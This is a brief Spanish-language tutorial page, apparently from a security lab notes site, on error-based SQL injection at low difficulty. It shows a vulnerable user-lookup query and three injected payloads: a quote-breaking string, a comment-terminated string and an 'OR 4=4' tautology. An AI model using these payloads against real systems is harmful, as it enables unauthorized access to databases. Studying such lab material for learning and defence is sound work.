> For the complete documentation index, see [llms.txt](https://b4zh.gitbook.io/b4zh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://b4zh.gitbook.io/b4zh/sqli/sqli-error-based.md).

# SQLi Error-Based

En dificultad Low. SQLi basada en Error.

* Consulta original:

```sql
SELECT first_name, last_name FROM users WHERE id = '$id';
```

* Consulta inyectada:

```sql
[Consulta inyectada]

SELECT first_name, last_name FROM users WHERE id = '[pwned' = 'pwned]';
SELECT first_name, last_name FROM users WHERE id = '[pwned' = 'pwned' -- -]'
SELECT first_name, last_name FROM users WHERE id = '[Pwned OR 4=4 #]'
```